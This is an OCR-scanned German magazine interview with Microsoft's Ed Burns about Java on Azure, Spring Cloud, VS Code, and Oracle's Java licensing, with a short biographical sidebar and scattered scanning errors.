Das klingt nach einer Zusammenarbeit von Oracle, Red Hat und
Microsoft. Wiirdest du sagen, dass diese Art der Zusammenarbeit zwi-
schen groBen Unternehmen neu ist? Were so etwas vor fiinf bis zehn
Jahren maglich gewesen?

Ed Burns: Ich denke nicht, dass eine solche Zusammenarbeit vor
funf bis zehn Jahren moglich gewesen ware. Ich glaube, der Grund
dafiir ist, dass es den Wettbewerb im Cloud-Bereich damals nicht
gab. Moglich wird diese Zusammenarbeit heute, weil sich die Unter-
nehmensziele der Cloud-Anbieter und Software-Hersteller anglei-
chen. Im Fall von Oracle und seinen Mitarbeitern, die an Coherence
und WebLogic arbeiten, ist das Ziel die Adaptierung und Fortfiihrung
ihres Stacks auf anderen Clouds. Das ist die Sicht der Software-
Hersteller. Der Cloud-Anbieter wiederum mochte, dass Kunden ihre
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Workloads auf seine Cloud bringen. In unserem Fall ist das die Azure-
Cloud. Wir mochten es den Leuten so einfach wie méglich machen.
Alles dreht sich um Erreichbarkeit und deshalb gibt es diese Koope-
ration. Ausschlaggebend dafiir war, dass die Industrie erkannt hat,
dass das Thema Cloud die Zukunft ist.

In einem Kurzbericht hast du geschrieben ,,Der Cloud-Anbieter ist das
Wichtigste”. Vielleicht kannst du das prdzisieren und erzdhlen, was ei-
nen guten Cloud-Anbieter ausmacht?

Ed Burns: In der Vergangenheit gab es viele Plattformkriege und
ich erinnere mich gut an diese Zeit, weil ich in der Entwicklung von
Java EE 6 und 7 einige von ihnen bestritten habe. Es gab eine gro-
RBe Vielzahl von Java-basierten, serverseitigen Web-Frameworks
wie Struts, Wicket und Tapestry sowie JSF (an dem ich gearbeitet
und bei der Entwicklung geholfen habe). Jedes dieser Frameworks
kampfte um Aufbau und Haufung von Marktrelevanz. Andererseits
zogen diese Auseinandersetzungen auch Interesse auf die jewei-
ligen Technologien und es ist auch unterhaltsam, mit den Leuten
darliber zu debattieren. Dartiber hinaus zeigten diese Framework-
Kriege, dass das Thema die Beachtung wert war. Unabhangig von
der Wahl des Web-Frameworks bestatigte sich, dass man eines
braucht, da einige zur Auswahl stehen und also irgendetwas an
diesem Architekturansatz dran sein muss. Das Konzept der Frame-
work-Kriege horte nicht bei Java-Servern und Web-Frameworks
auf. Es dehnte sich auf viele andere Dinge aus, beispielsweise
Spring Dependency Injection versus CDI (Contexts and Dependency
Injection) fir Java EE oder Spring MVC versus Java EE MVC. Es gibt
noch etliche andere Beispiele. Unser Fokus als Cloud-Anbieter ist,
beide Varianten einzubringen.

Microsoft ist ein sehr kundenorientiertes Unternehmen. Betrachten
wir also Marktdurchdringung und Marktmacht, dann ist es ein nach-
weisbarer Fakt, dass Spring Cloud Service eine Vielzahl von Adaptie-
rungen hat. Die Anzahl ist hoher als die anderer Microservices wie
Helidon, Quarkus oder Micronaut. So groRartig und spannend diese
auch sein mogen, Spring Cloud hat einen deutlichen Vorsprung. Da-
her haben wir uns vorrangig auf den Aufbau des ,Azure Spring Cloud
Service" konzentriert. Dieser Service, eine vollstandige Platform as a
Service, erganzt unsere Tatigkeiten im Bereich der Jakarta-EE-ARM-
\Vorlagen, die eher eine Lift-and-Shift-Ldsung sind. Uns ist aufgefal-
len, dass Unternehmen mit fortgeschrittener Cloud-Integration be-
reit sind flr eine vollstandige PaaS, wohingegen die Unternehmen,
die erst am Anfang stehen, eine Lift-and-Shift-Losung bevorzugen,
da sie damit vertrauter sind.

Da du die alten Kriege erwdihnst — vermisst du diese Zeit? Erfordert das
heutige Geschdft eine andere Denkweise?

Ed Burns: Ein bisschen. Es war auch etwas komisch, denn damals
musste man in der Lage sein, sich menschlich von seiner Arbeit ab-
grenzen zu konnen, denn es gab leider auch Unprofessionalitat in
diesen Kriegen. Ich erinnere mich sehr gut, dass es zu dieser Zeit
zwei unterschiedliche Domanennamen gab, die das Niedermachen
von JSF zum Ziel hatten. Das waren Sammlungen von Geschich-
ten, in denen Leute sich tber JSF beschwerten. Versteht mich nicht
falsch — ich weil, dass JSF viele Probleme hatte. Allerdings ist es
immer noch recht verbreitet und fir einige Arten von Anwendungen
immer noch sehr gut geeignet fiir hohe Produktivitat. Es war in dem,
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was es macht, sehr erfolgreich. Aber man muss das Gute und das
Schlechte beleuchten. Wenn man bei diesen Framework-Kampfen
mitmacht, muss man akzeptieren konnen, dass es nicht jedem ge-
fallt — und das ist in Ordnung, denn so ist es nun einmal.

Heutzutage ist alles etwas reifer und das ist angenehm. In der
Software-Industrie haben wir gelernt, dass derartige Spaltungen
kontraproduktiv sind. Bei einer kundenorientierten Kultur wie bei
Microsoft, wo wir vor allem Kundennutzen liefern wollen, ist das
sicherlich der Fall. Daher lassen wir diese Kriege. Beispielsweise
startete Azure selbst als Windows Cloud, mittlerweile laufen jedoch
mehr als die Halfte aller CPU-Zyklen und Workloads auf Azure unter
Linux. Das ist so, weil wir gemerkt haben, wo die Container sind —
also wo Kubernetes ist —, und das ist, wo die Kunden hinwollen. Bei
der Cloud geht es vor allem um Standardware — zur Standardware
gemachte Hardware und Netzwerke. Alles ist messbar, verrechen-
bar und priffahig. Das einzige Betriebssystem, das dafir gut funk-
tioniert, da es kostenlos und Open-Source ist, ist Linux. Alle anderen
Betriebssysteme hatten irgendein Lizenzierungsmodell und konn-
ten aus Unternehmenssicht nicht gut in der Cloud skalieren — aus
technischer Sicht ja, aber nicht aus Unternehmenssicht. SUN und
dann Oracle Solaris hatten viele Innovationen. Einige davon hat Li-
nux bis heute nicht, einige wurden an Linux weitergegeben, wie ZFS,
das sehr wichtig fir grol3 angelegten Dateisystem-Netzwerkzugriff
vom Betriebssystem ist.

Selbstverstandlich gibt es heute in der Cloud unterschiedliche
Moglichkeiten bei der Speicherung flir das Mapping vom Dateisys-
tem. Man verwendet nicht ZFS zum Skalieren. Jeder Cloud-Anbie-
ter hat seine eigene proprietare, hoch-performante und hochstef-
fiziente Methode zur Speicherung. Ich mdchte darauf hinaus, dass
die proprietaren Betriebssysteme nicht mit Linux in der Cloud kon-
kurrieren konnten.

Wie wichtig ist Java im Augenblick fiir Microsoft?

Ed Burns: Java ist sehr wichtig fiir Microsoft. Wir nennen es eines
der ,groRen Vier" firr die Cloud. Java, Node.js, Python und .NET — das
sind unsere Schwerpunkte. Wenn ich ,Node.js" sage, dann umfasst
das auch TypeScript. Wir investieren auch in die Unterstiitzung von
PHP und Go. Visual Studio Code, das von dem Team stammt, mit
demich arbeite, bietet Spracherweiterungen fiir alle diese Techno-
logien. Wir haben verstanden, dass eine Vielzahl an heutiger Un-
ternehmenssoftware bei Banken, Olfirmen, Pharmaunternehmen
und Versicherungen in Java geschrieben wird, haufig in Jakarta
EE. Unternehmen versuchen, vom Betrieb eigener Rechenzent-
ren wegzukommen, es muss allerdings wohliberlegt sein. Viele
Unternehmen sind noch nicht bereit, in die Cloud zu gehen, also
mussen wir ihnen etwas zur einfachen Migration anbieten oder
sogar Teile der Cloud auf ihrer eigenen Website laufen lassen. Wir
haben eine Technologie namens ,Azure Stack”, die auch manchmal
Hybrid-Cloud genannt wird. Damit kann die Cloud im eigenen Re-
chenzentrum betrieben werden. Wir geben ihnen Hardware, die sie
in ihrem eigenen Rechenzentrum behalten konnen, aber die Ver-
waltung lauft wie alles andere bei Azure. Fir Microsoft und Java ist
das somit der Punkt, an dem die Kunden sind. Wenn wir also wei-
terhin Wachstum bei Azure mochten, was der grol3te Erfolgsfaktor
fur Microsoft im Hinblick auf Umsatzwachstum war, dann missen
wir genau dorthin schauen.
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Kannst du uns beschreiben, was Azure fiir Java-Benutzer zu bieten hat?
Warum sollten sie Azure anstatt anderer Optionen wdhlen?

Ed Burns: Eine sehr gute Frage! Microsoft hat eine Partnerschaft
mit Azul Systems, einem JDK-Anbieter. Wenn Sie Java-basierte
Workloads auf Azure laufen lassen, dann lauft das haufig auf dem
Azul Zulu JDK, einer vollstandig konformen Java-Laufzeitumgebung.
Es gibt Hunderte an Services, die man auf Azure laufen lassen kann,
alle beliebten Technologien: Redis, Kafka, Hadoop, Cassandra usw.
Sie konnen auf Azure gehen und sagen: ,Gib mir eins hiervon und
eins davon und hilf mir, sie aneinanderzureihen”. Fiir Services mit
einer Java-Anbindung ist das eine Art, um auf Java-basierte Servi-
ces in der Cloud zuzugreifen. Wir haben auch einige spezifischere
Optionen. Es gibt einen Java-App-Service fir Linux, der im Wesentli-
chen ein Tomcat as a Service ist, und dann sind da naturlich noch die
bereits erwahnten WildFly- und Spring-Cloud-Services. Wir haben
auch einige Azure-Services wie Cosmos DB, eine sehr skalierbare
Datenbank-Engine. Wir haben Azure SQL Server, der ebenfalls Ja-
va-Zugriff und -Anbindung bietet. Das ist auf der Laufzeitseite. Auf
der Tool-Seite haben wir Visual Studio Code, einen sehr erfolgrei-
chen und beliebten Code Editor mit intelligenten Funktionen. Ich bin
sehr vorsichtig, es nicht IDE zu nennen, denn eine IDE ist fir einen
Java-Entwickler sehr spezifisch. Die grof3te IDE fiir Java-Entwickler
ist natdrlich Intelli) von JetBrains mit einem sehr speziellen Satz an
Nutzungsmustern, die sich etwas von dem unterscheiden, was wir
bei VS Code fir Java umgesetzt haben. Wir klassifizieren VS Code
fur Java eher als einen intelligenten, leichtgewichtigen Editor als
eine Full-Stack IDE. Er bietet allerdings die fir die Nutzer beliebtes-
ten Funktionen von IDEs wie Debugging, Syntaxhervorhebung und
Refaktorierung. Es macht das, was man braucht, aber es hat nicht
diesen schweren, komplexen Rucksack dabei. Beispielsweise gibt es
bei VS Code nicht so sehr dieses Projektkonzept. Es ist eher so, dass
man auf den Code zeigt und das Tool es dann verstehen wird.

Auf Tool-Seite haben wir einiges an Support fiir Java in Form von VS
Code, das plattformunabhangig und vollstandig polyglott ist. Es gibt
Erweiterungen in VS Code fiir Go, aber auch groRartige Erweiterun-
gen fur Node.js und viele weitere fir alle moglichen Technologien.
Die Cloud hat wirklich fiir eine breite Offnung fiir mehrsprachige
Programmierung gesorgt. Neuere Entwickler, nicht die alten grau-
bartigen Java-Entwickler wie ich, missen auf verschiedenen Stacks
arbeiten, umihre Arbeit zu bewerkstelligen. Das ist eine dieser Span-
nungen auf dem Arbeitsmarkt, da Unternehmen gerne Full-Stack-
Entwickler hatten, die sich mit Node, PHP und Python auskennen —
was einfach zu viel verlangt ist flir eine Person. Man braucht jedoch
zumindest ein Tool, das alle diese Themen beherrscht. Vielleicht ist
es ja moglich, jemanden zu bekommen, der ausreichend Arbeit in
diesen unterschiedlichen Stacks erledigt bekommt, und dann hatte
diese Person sicherlich gerne ein Tool wie VS Code.

Oracle hat inzwischen seine Lizenz- und Supportbedingungen fiir Java
gedndert. Denkst du, dass das eine gute Entscheidung war?

Ed Burns: Ich war zu dem Zeitpunkt noch bei Oracle und es war
fiir uns als Oracle damals die richtige Entscheidung. Java auf all
diesen unterschiedlichen Plattformen zu unterstitzen, kostet
Ressourcen und Oracle ist eine Firma, die Unternehmen versteht.
Unternehmen und ihre Kostenstrukturen sind darauf ausgelegt,
Lizenzen fir die von ihnen verwendete Software einzupreisen. Fiir
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Zur Person

Ed Burns ist derzeit Principal Architect im Java Tooling und
Experiences Team bei Microsoft. In dieser Rolle mochte
Ed dazu beitragen, Azure zum besten Ort fir Enterpri-
se Java zu machen. Bevor er zu Microsoft kam, war Ed
beratendes Mitglied des Technical Staff bei Oracle. Dort
war er Co-Spec Lead flir JavaServer Faces. Diese Rolle
Ubernahm er von seiner Position bei Sun Microsystems,
Inc. Seine beruflichen Interessengebiete sind Web Ap-
plication Frameworks, AJAX, Komplexitdtsreduzierung,
testgetriebene Entwicklung, Anforderungserfassung und
computergestilitzte Zusammenarbeit. Ed ist ein erfahre-
ner internationaler Konferenz-Speaker und Buchautor.
Weitere Informationen sind in seinem Blog zu finden:
http:/ridingthecrest.com/author.html

Unternehmen, die auf Java spezialisiert sind und von denen Oracle
den Support bezahlt haben mdchte, war das bereits gang und gabe.
In vielen Fallen hat Oracle nur die Preise vergleichbar, transparent
und nachvollziehbar gestaltet. Wahrend sich das abspielte, haben
sich einige Leute beschwert, aber Oracle entgegnete ihnen, dass
sie Open]DK verwenden konnen, wenn sie das mochten. Es war im
Endeffekt nur die Bekanntmachung einer gut durchdachten Strate-
gie. Das Support-Thema spielte auch bei der Anforderung an einen
anderen Release-Zyklus eine Rolle, mit haufigeren Releases beim
Open)DK und selteneren Releases im Langzeit-Support-Bereich
beim Oracle JDK. Der technische Aspekt, der das alles moglich ge-
macht hat, ist das Modulsystem von Java 9. Es gibt so viele Teile bei
dieser Strategie — Business, Technologie und Rechtsbereich —, dass
sie wirklich schon anzusehen ist. Es hat wirklich etliche Jahre ge-
dauert, bis wir mit Jigsaw fertig wurden, und nun, da wir es haben,
konnen wir die Themen unabhangig voneinander entwickeln, un-
terschiedliche Release-Zyklen haben und ein passendes Support-
Modell bereitstellen.

Wie hat sich deine tagliche Arbeit gedndert, seitdem du bei Microsoft
bist? Was kénnen wir von deinem Team fiir die Zukunft erwarten?

Ed Burns: Der grof3te Unterschied hier ist die Kundenorientierung.
Microsoft entwickelt nichts mehr, das Kunden nicht benutzen. In der
Vergangenheit gab es oft Zeiten, in denen Microsoft erst irgendet-
was entwickelt und es dann zur Verwendung in die Welt getragen
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hat. Das stellte sich nicht gerade als die beste Verwendung fiir die
Ressourcen der Anteilseigner heraus. Wenn wir heute etwas ent-
wickeln wollen, dann missen wir erst einmal nachweisen, dass es
eine Nachfrage auf Kundenseite und eine Aussicht auf Erfolg gibt.
Wir sind sehr zurtickhaltend, was unsere Investments angeht. Es
gibt immer noch Raum fiir Innovationen, aber diese missen in ir-
gendeiner Art gerechtfertigt sein. Ein Beispiel dafir ist die sorgfal-
tige Recherche, die uns zum Spring Cloud Service gefiihrt hat. Ein
weiterer Unterschied im Vergleich zu Oracle ist der weitaus groRere
Themenpool, an dem die Leute arbeiten. In meiner vorherigen Rolle
bei Oracle war es fiir mich fast ausschlieBlich Java, andere machten
C++ oder .NET.

Was die Leute von uns erwarten kénnen, ist der Azure Spring Cloud
Service sowie ARM-Vorlagen fiir WebLogic und WebSphere. Es wird
auch mehr investiert werden, um VS Code fiir Java zu verbessern
und mehr von Entwicklern bendtigte Anwendungsfalle abzudecken.
Im August 2019 hat Microsoft jClarity ibernommen, ein Unterneh-
men fir Java-Performance-Training und Tuning. Aufgrund der weit-
reichenden Erfahrung beim Erstellen und Optimieren von JDKs wird
uns dieses Team auch dabei helfen, die Java-Vision bei Microsoft
voranzutreiben.

AuBerdem freue ich mich sehr dariiber, dass Microsoft sich am
Open/DK-Projekt beteiligt. Dies ist nach der Ubernahme von
jClarity ein logischer Schritt, denn die Verantwortlichen in diesem
Unternehmen waren stark in AdoptOpen)DK involviert. Es ist wirk-
lich toll, dass sie diese Beteiligung bei Microsoft fortsetzen konnen.
Microsoft Azure hat einige der schwersten Java-Workloads auf dem
Planeten. Wir nehmen diese Workloads, wenden die Leistungsex-
pertise von jClarity und die Reichweite von Microsoft an, mischen
sie mit der Transparenz von Open)DK und erhalten ein Erfolgsre-
zept, um Java noch besser zu machen.

Vielen Dank fiir das Interview, Ed!
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